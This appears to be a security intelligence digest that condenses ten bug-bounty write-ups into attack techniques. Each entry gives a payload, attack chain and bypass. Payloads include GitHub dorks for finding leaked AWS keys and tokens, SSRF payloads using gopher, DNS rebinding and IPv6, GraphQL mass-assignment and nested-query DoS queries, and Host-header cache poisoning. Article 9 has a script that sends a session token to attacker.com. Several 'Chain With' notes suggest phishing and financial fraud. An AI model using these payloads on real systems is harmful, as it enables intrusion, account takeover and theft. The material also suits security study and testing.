ETX Signal-X

Daily Intelligence Digest

Monday, February 2, 2026

10	20
ARTICLES	TECHNIQUES

Article 1

“Day 26: The WebSocket Hijack — How I Eavesdropped on Every Customer Support Chat”

Source: securitycipher

Date: 02-Sep-2025

URL: https://infosecwriteups.com/day-26-the-websocket-hijack-how-i-eavesdropped-on-every-customer-support-chat-de5ddc819ad2

T1 WebSocket Session Hijack via Predictable URL Token

💉 Payload

```
wss://support.examplebank.com/chat?token=<predictable_or_stolen_token>
```

⚔️ Attack Chain

1. Intercept the WebSocket handshake initiated by the customer support chat feature.
2. Observe that the authentication token is passed as a URL parameter (e.g., `?token=...`) instead of a secure header.
3. Identify that the token is predictable or can be harvested from another session/user.
4. Craft a WebSocket connection using another user's token in the URL:
5. Successfully join the victim's active chat session, gaining full read/write access (eavesdrop and inject messages).

🔍 Discovery

Manual inspection of the WebSocket handshake during live chat usage revealed the absence of standard authentication headers and the presence of a token in the URL. Curiosity about the authentication model led to further probing of token predictability and reuse.

🔓 Bypass

Bypassing standard HTTP authentication controls by leveraging a weak, URL-based token mechanism for WebSocket authentication. No session binding or origin checks enforced.

🔗 Chain With

Use in combination with session fixation or token prediction attacks for mass compromise. Potential to escalate to account takeover if chat session tokens are linked to user identities or can be used elsewhere in the application.

Article 2

Finding my first vulnerability on NASA: The Power of Google Dorking

Source: securitycipher

Date: 29-Oct-2025

URL: https://ozgun32.medium.com/finding-my-first-vulnerability-on-nasa-the-power-of-google-dorking-6a5a65c7f413

T1 Unauthenticated Access to Admin Pages via Google Dorking

💉 **Payload**

```
site:nasa.gov "blog"site:nasa.gov "upload"site:nasa.gov "file"site:swehb.nasa.gov "registe
r"
```

⚔️ **Attack Chain**

1. Use Google Dorking with the provided queries to enumerate NASA subdomains and pages related to blogs, uploads, files, and registration.
2. Identify `swehb.nasa.gov` as a public-facing wiki-based handbook.
3. Navigate to admin pages on `swehb.nasa.gov` without authentication.
4. Confirm access to sensitive admin functionalities, including timelines, scheduling, and—in one case—PII on a staging subdomain.

🔍 **Discovery**

Targeted Google Dorking to locate user-engagement and upload-related endpoints, followed by manual exploration of discovered subdomains for privileged/admin panels.

🔓 **Bypass**

No authentication or access control enforced on admin endpoints—direct access possible via enumeration.

🔗 **Chain With**

1. Leverage exposed admin functionality for further privilege escalation or lateral movement. 2. Use access to PII or scheduling data for social engineering or internal phishing. 3. Combine with file upload or legacy code endpoints for potential RCE or data exfiltration.

Article 3

Discovering Sensitive Information Using GitHub Dorks

Source: securitycipher

Date: 03-Mar-2025

URL: https://cyberw1ng.medium.com/discovering-sensitive-information-using-github-dorks-10fd7e032bbd

T1 Exposing Sensitive Credentials via GitHub Dorks

💉 **Payload**

```
org:targetcompany.com filename:.env
org:targetcompany.com filename:credentials
org:targetcompany.com AWS_SECRET_ACCESS_KEY
org:targetcompany.com password
```

⚔️ **Attack Chain**

1. Identify the target organization's GitHub presence (e.g., using `org:targetcompany.com`).
2. Use crafted GitHub dorks to search for sensitive files or secrets (e.g., `.env`, `credentials`, `AWS_SECRET_ACCESS_KEY`, `password`).
3. Review search results for exposed files containing credentials, API keys, or secrets.
4. Extract and validate credentials for further exploitation (e.g., cloud access, lateral movement, privilege escalation).

🔍 **Discovery**

Researcher systematically used GitHub's advanced search (dorks) with organization scoping and sensitive keyword/filename targeting to uncover exposed secrets in public repositories.

🔓 **Bypass**

Standard GitHub search may miss results; using multiple dorks and variations (filenames, keywords, extensions) increases coverage and bypasses simple filename obfuscation.

🔗 **Chain With**

Use discovered credentials for direct cloud or infrastructure access. Leverage secrets for pivoting into internal systems or CI/CD pipelines. Combine with other public leaks (e.g., Slack tokens, DB credentials) for multi-stage compromise.

T2

Harvesting Internal URLs and Endpoints from Source Code Leaks

💉 Payload

```
org:targetcompany.com url
org:targetcompany.com endpoint
org:targetcompany.com internal
org:targetcompany.com baseurl
```

⚔️ Attack Chain

1. Use GitHub dorks targeting keywords like `url`, `endpoint`, `internal`, `baseurl` within the target organization.
2. Identify code, configuration files, or documentation exposing internal URLs or endpoints.
3. Map discovered endpoints for potential IDOR, SSRF, or internal API abuse.
4. Attempt access or fuzzing against these endpoints for further vulnerabilities.

🔍 Discovery

Focused dorking on code/configuration keywords likely to reveal non-public endpoints or infrastructure details.

🔓 Bypass

Searching for generic terms (e.g., `url`, `endpoint`) can reveal endpoints even if developers use non-standard naming or try to obscure sensitive routes.

🔗 Chain With

Use internal endpoints for SSRF, privilege escalation, or lateral movement. Combine with credential leaks for authenticated endpoint abuse.

T3 Extracting API Keys and Tokens from Public Repositories

💉 Payload

```
org:targetcompany.com api_key
org:targetcompany.com token
org:targetcompany.com secret
org:targetcompany.com bearer
```

⚔️ Attack Chain

1. Search for API-related keywords (e.g., `api_key`, `token`, `secret`, `bearer`) within the target organization's GitHub repositories.
2. Identify files or code snippets exposing API keys or tokens.
3. Validate the keys/tokens against relevant services (e.g., cloud APIs, third-party services).
4. Use valid tokens for unauthorized API access or privilege escalation.

🔍 Discovery

Systematic keyword-based dorking for common API credential patterns in public code.

🔓 Bypass

Developers may use non-standard naming for secrets; using a broad set of dorks increases the chance of catching less obvious leaks.

🔗 Chain With

Abuse API keys for data exfiltration, account takeover, or service abuse. Combine with endpoint discovery for targeted attacks.

Article 4

Why Do Most Hackers Fail at SSRF Exploitation

Source: securitycipher

Date: 19-Jun-2025

URL: https://medium.com/@ibtissamhammadi1/why-do-most-hackers-fail-at-ssrf-exploitation-540e1bd6db02

T1 SSRF via URL Scheme Manipulation with Gopher

💉 **Payload**

```
gopher://127.0.0.1:3306/_%0ASHOW%20DATABASES;
```

⚔️ **Attack Chain**

1. Identify an SSRF endpoint that accepts arbitrary URLs.
2. Submit a payload using the gopher protocol to target an internal service (e.g., MySQL on 127.0.0.1:3306).
3. Craft the gopher payload to inject raw protocol commands (e.g., SQL statements).
4. Observe the application's response or side effects to confirm command execution.

🔍 **Discovery**

Testing SSRF endpoints with non-http(s) schemes and observing error messages or behavioral differences indicating protocol parsing.

🔓 **Bypass**

Bypasses SSRF filters that only restrict http/https schemes but allow gopher or other less common protocols.

🔗 **Chain With**

Can be chained with internal service misconfigurations (e.g., default credentials, command injection in backend services) for lateral movement or data exfiltration.

T2 SSRF via DNS Rebinding to Internal Resources

💉 **Payload**

```
http://attacker-controlled-domain.com
```

⚔️ **Attack Chain**

1. Register a domain and configure its DNS to initially resolve to an external IP, then quickly switch to an internal IP (e.g., 127.0.0.1 or 169.254.169.254).
2. Submit the domain as the SSRF target in the vulnerable endpoint.
3. When the server resolves the domain, the DNS rebinding causes it to connect to an internal resource.
4. Extract sensitive data or interact with internal APIs.

🔍 **Discovery**

Testing SSRF with attacker-controlled domains and monitoring DNS resolution patterns and timing.

🔓 **Bypass**

Bypasses SSRF protections that only blacklist internal IPs but do not resolve or re-check DNS at request time.

🔗 **Chain With**

Can be used to access cloud metadata endpoints, internal admin panels, or chained with open redirectors for further exploitation.

T3 SSRF via URL Parser Confusion (Username/Password in Host)

💉 **Payload**

```
http://127.0.0.1@attacker.com
```

⚔️ **Attack Chain**

1. Identify SSRF endpoint that parses URLs and attempts to validate the host.
2. Submit a payload with an internal IP as the username and an attacker-controlled domain as the host.
3. Exploit URL parsing confusion: some parsers treat the host as attacker.com, others as 127.0.0.1.
4. Achieve SSRF to internal IP if the backend uses a vulnerable parser.

🔍 **Discovery**

Testing SSRF endpoints with crafted URLs containing username/password fields to observe parser discrepancies.

🔓 **Bypass**

Bypasses SSRF filters that use naive string matching or regex on the host portion of the URL.

🔗 **Chain With**

Can be chained with open redirects or used to bypass IP allowlists for internal resource access.

T4 SSRF via IPv6 and Mixed Notation Bypass

💉 **Payload**

```
http://[::ffff:127.0.0.1]/
```

⚔️ **Attack Chain**

1. Identify SSRF endpoint with IP-based filtering for internal resources.
2. Submit a payload using IPv6-mapped IPv4 notation to reference 127.0.0.1.
3. Bypass filters that only check for IPv4 patterns.
4. Achieve SSRF to localhost/internal services.

🔍 **Discovery**

Testing SSRF endpoints with various IPv6 and mixed notation representations of internal IPs.

🔓 **Bypass**

Bypasses SSRF filters that do not account for all possible representations of internal IP addresses.

🔗 **Chain With**

Can be chained with other SSRF payloads or used to access services only exposed on localhost.

Article 5

A few online tools to find subdomains easily(bug bounty hunting)

Source: securitycipher

Date: 11-Apr-2025

URL: https://medium.com/@loyalonlytoday/a-few-online-tools-to-find-subdomains-easily-bug-bounty-hunting-64b15b2c2dcf

⚠️ Methodology article - no vulnerabilities

Article 6

When a “Legal API” Handed Me a Data Dump UNAUTH

Source: securitycipher

Date: 31-Oct-2025

URL: https://medium.com/@evyeveline1/when-a-legal-api-handed-me-a-data-dump-unauth-e4c9ea3fd297

T1 Unauthenticated API Data Dump via /api/legal/companies

💉 Payload

```
(kali@kali ~)$ curl -s "https://[DOMAIN]/api/legal/companies" | jq .{ "companies": [    {
"Guid": "${COMPANY_GUID}",      "ID": "${COMPANY_ID}",      "IsDefault": ${IS_DEFAULT},
"Name": "${COMPANY_NAME}",      "Slug": "${SLUG}",      "Status": ${STATUS},      "CountryI
D": "${COMPANY_COUNTRY_ID}",      "Organization": {        "ID": "${ORG_ID}",        "Gui
d": "${ORG_GUID}",        "CreatedOn": "${CURRENT_TIMESTAMP}",        "ModifiedOn": "${CURR
ENT_TIMESTAMP}",        "Name": "${ORG_NAME}",        "OrganizationStateID": "${ORG_STATE_I
D}",        "DUNSNumber": "${DUNS_NUMBER}",        "VATNumber": "${VAT_NUMBER}"      },
"BankAccounts": [        {          "ID": ${BANK_ACCOUNT_ID},          "CreatedOn": "${CURR
ENT_TIMESTAMP}",          "ModifiedOn": "${CURRENT_TIMESTAMP}",          "Number": "${BANK_
NUMBER}",          "SwiftCode": "${SWIFT_CODE}",          "IsMain": ${IS_BANK_MAIN},
"AccountHolderName": "${BANK_HOLDER_NAME}",          "BankCity": "${BANK_CITY}",
"BankCountryID": "${BANK_COUNTRY_ID_DETAIL}",          "BankName": "${BANK_NAME}"   .....
}  }]}
```

⚔️ Attack Chain

1. Fuzz API endpoints for hidden or undocumented paths (e.g., /api/legal).
2. Identify endpoints that return different content lengths on 403 responses.
3. Recursively fuzz subpaths under /api/legal (e.g., /api/legal/companies).
4. Discover /api/legal/companies returns 200 OK and full data as an unauthenticated user.
5. Access the endpoint directly in browser or via curl to retrieve a dump of all company legal entities, including sensitive fields (office addresses, identifiers, banking metadata, contact names, emails, phone numbers).
6. Enumerate further endpoints to access lists of documents and, in some cases, download full document contents (SLAs, contracts, support docs).

🔍 Discovery

Manual API fuzzing for hidden endpoints. Monitoring for anomalous content-length in 403 responses to identify endpoints with different logic. Recursive enumeration of subpaths after identifying a promising parent path ("/legal").

🔓 Bypass

No authentication or authorization checks enforced on /api/legal/companies or related endpoints; direct access as an unauthenticated user yields sensitive data.

🔗 Chain With

Use exposed contact and banking data for phishing, BEC, or financial fraud. Combine with document download endpoints for further internal data leakage (contracts, SLAs, support docs). Leverage personal emails and phone numbers for targeted attacks or social engineering.

Article 7

Vulnerabilidades en GraphQL API: Guía de Explotación, Descubrimiento y Mitigación

Source: securitycipher

Date: 11-Nov-2025

URL: https://medium.com/@jpablo13/vulnerabilidades-en-graphql-api-gu%C3%ADa-de-explotaci%C3%B3n-descubrimiento-y-mitigaci%C3%B3n-1ea376ba4455

T1 GraphQL Introspection Enabled for Recon

💉 **Payload**

```
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}
```

⚔️ **Attack Chain**

1. Send the above introspection query to the GraphQL endpoint.
2. Receive a full schema dump, including types, queries, mutations, and fields.
3. Use the schema information to map attack surface and identify sensitive or undocumented operations.

🔍 **Discovery**

Observed that the endpoint responded to introspection queries, revealing the full API schema.

🔓 **Bypass**

If introspection is disabled, try sending the query with alternative field casing or via batch requests to bypass naive filtering.

🔗 **Chain With**

Schema data can be leveraged to craft targeted queries for IDOR, privilege escalation, or hidden functionality enumeration.

T2 Exploiting GraphQL Field-Level Authorization Gaps

💉 **Payload**

```
{
  user(id: 1) {
    password
    email
    role
  }
}
```

⚔️ **Attack Chain**

1. Use introspection or error messages to identify sensitive fields (e.g., password, role) on user objects.
2. Craft a query requesting these fields for arbitrary user IDs.
3. Submit the query and observe if sensitive data is returned without proper authorization checks.

🔍 **Discovery**

Manual review of schema and field enumeration revealed sensitive fields exposed via GraphQL queries.

🔓 **Bypass**

If direct access is blocked, try aliasing fields or nesting queries to bypass weak field-level controls.

🔗 **Chain With**

Combine with account takeover or privilege escalation by extracting credentials or roles for admin users.

T3 Mass Assignment via GraphQL Mutations

💉 Payload

```
mutation {
  updateUser(id: 1, input: {role: "admin", password: "newpass123", email: "attacker@evil.co
m"}) {
    id
    role
    email
  }
}
```

⚔️ Attack Chain

1. Analyze mutation input types via introspection or error messages.
2. Attempt to supply additional fields (e.g., role, password) in the input object.
3. Submit the mutation and verify if unauthorized fields are updated (e.g., privilege escalation or credential reset).

🔍 Discovery

Testing mutation inputs with extra parameters not intended for user control.

🔓 Bypass

If input validation is present, try field name variations (e.g., camelCase vs snake_case) or nested objects to bypass weak filters.

🔗 Chain With

Leverage to escalate privileges, reset credentials, or pivot to other user accounts.

T4 Information Disclosure via GraphQL Error Messages

💉 Payload

```
{
  nonExistentField
}
```

⚔️ Attack Chain

1. Send queries with invalid or non-existent fields to the GraphQL endpoint.
2. Analyze error messages for stack traces, technology details, or sensitive information.
3. Use disclosed information to fingerprint backend frameworks or identify misconfigurations.

🔍 Discovery

Fuzzing field names and reviewing verbose error responses from the API.

🔓 Bypass

If errors are suppressed, try triggering errors via malformed queries or type mismatches.

🔗 Chain With

Use backend details for targeted exploitation (e.g., framework-specific vulnerabilities or CVEs).

T5 Denial of Service via Deeply Nested GraphQL Queries

💉 Payload

```
{
  user {
    friends {
      friends {
        friends {
          friends {
            id
          }
        }
      }
    }
  }
}
```

⚔️ Attack Chain

1. Craft a query with excessive nesting or recursion exploiting relationships (e.g., friends of friends of friends).
2. Submit the query to the endpoint.
3. Observe increased response time or resource exhaustion, potentially causing denial of service.

🔍 Discovery

Testing the API with recursive/nested queries to evaluate performance and resource handling.

🔓 Bypass

If depth limiting is present, try using fragments or aliases to obfuscate nesting.

🔗 Chain With

Can be combined with other attacks to degrade service or mask exploitation activity.

Article 8

WordPress Enumeration Before Exploitation: A Step-by-Step Guide for Security Professionals (Part 1)

Source: securitycipher

Date: 21-Aug-2025

URL: https://medium.com/@verylazytech/wordpress-enumeration-before-exploitation-a-step-by-step-guide-for-security-professionals-part-1-664926fbacf0

⚠️ No actionable techniques found

Article 9

Day 5: Chaining Bugs from Self-XSS to Full Account Takeover

Source: securitycipher

Date: 09-Feb-2025

URL: https://medium.com/@danielbelay/day-5-chaining-bugs-from-self-xss-to-full-account-takeover-d01ab3759e06

T1 Self-XSS via Profile Bio Field

💉 **Payload**

```
<img src=x onerror=alert(document.cookie)>
```

⚔️ **Attack Chain**

1. Log in to target web application.
2. Navigate to the profile edit page.
3. Insert the payload into the "bio" or "about me" field.
4. Save changes and reload the profile page.
5. The payload executes in the user's browser (self-XSS).

🔍 **Discovery**

Manual input testing of all profile fields for HTML/script injection. Noticed lack of output encoding on the profile display page.

🔓 **Bypass**

No input validation or output encoding on the bio field allowed direct HTML injection.

🔗 **Chain With**

Can be chained with social engineering or browser features to escalate impact beyond self-XSS (see next technique).

T2 Session Token Exfiltration via Self-XSS and Local Storage Abuse

💉 **Payload**

```
<script>fetch('https://attacker.com/?c='+localStorage.getItem('session_token'))</script>
```

⚔️ **Attack Chain**

1. Inject the payload into the profile bio field (as above).
2. Convince the victim user (e.g., via support/social engineering) to view the attacker's profile.
3. When the victim loads the profile, the payload executes, extracting the session token from localStorage and sending it to the attacker's server.
4. Attacker uses the stolen session token to hijack the victim's account.

🔍 **Discovery**

After confirming self-XSS, inspected browser storage for sensitive tokens. Found session_token stored in localStorage.

🔓 **Bypass**

No CSP or HttpOnly flag on session token. Application trusts tokens from localStorage for authentication.

🔗 **Chain With**

Directly enables full account takeover when combined with self-XSS and lack of session management best practices.

T3 Full Account Takeover via Chained Self-XSS and Session Token Reuse

💉 **Payload**

```
<script>fetch('https://attacker.com/?c='+localStorage.getItem('session_token'))</script>
```

⚔️ **Attack Chain**

1. Use self-XSS to exfiltrate session token from a privileged user (admin/support).
2. Replay the session token in a new browser session or via API requests to gain access to the victim's account.
3. Perform privileged actions as the victim (e.g., change email, reset password, access sensitive data).

🔍 **Discovery**

Tested session token replay after exfiltration; confirmed session tokens are not bound to IP or device.

🔓 **Bypass**

No anti-replay or device binding on session tokens; no monitoring for simultaneous sessions.

🔗 **Chain With**

Can be combined with other session management flaws (e.g., weak logout, missing CSRF) for persistent compromise.

Article 10

From Web Cache Poisoning to Persistent XSS — A High Severity Bug

Source: securitycipher

Date: 02-Mar-2025

URL: https://medium.com/@HackerNasr/from-web-cache-poisoning-to-persistent-xss-a-high-severity-bug-87bb6c19239d

T1 Web Cache Poisoning via Host Header Manipulation

💉 **Payload**

```
GET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com
```

⚔️ **Attack Chain**

1. Send a request to the target endpoint with a manipulated `Host` and/or `X-Forwarded-Host` header (e.g., `evil.com`).
2. The backend application reflects the value of the `Host` or `X-Forwarded-Host` header in the response (e.g., in links, scripts, or HTML content).
3. The caching layer (CDN or reverse proxy) does not vary the cache key on the `Host` or `X-Forwarded-Host` header, causing the poisoned response to be cached.
4. Subsequent users receive the cached, attacker-controlled content, leading to further exploitation.

🔍 **Discovery**

Observed that the application reflected the `Host` header in the response and that the cache did not vary on this header, indicating a cache poisoning vector.

🔓 **Bypass**

Used `X-Forwarded-Host` to bypass any direct filtering or normalization on the `Host` header by the backend.

🔗 **Chain With**

Can be chained with reflected or stored XSS if the poisoned content includes attacker-controlled scripts or payloads.

T2 Persistent XSS via Cached Malicious Script Injection

💉 Payload

```
<script>alert(document.domain)</script>
```

⚔️ Attack Chain

1. Use the web cache poisoning technique to inject a malicious script (e.g., `<script>alert(document.domain)</script>`) into a cached response by manipulating headers (as above).
2. The backend reflects the attacker-supplied value (from the poisoned header) into the HTML response.
3. The caching layer stores the response containing the malicious script.
4. All subsequent users requesting the cached resource receive the response with the persistent XSS payload, triggering code execution in their browsers.

🔍 Discovery

After confirming cache poisoning, tested for script injection by supplying common XSS payloads in the header value and observing persistent execution for all users.

🔓 Bypass

Persistence achieved by poisoning the cache, not just a single user session; bypasses traditional XSS mitigations that assume per-request context.

🔗 Chain With

Can be used for session hijacking, credential theft, or further client-side attacks at scale due to persistent delivery via cache.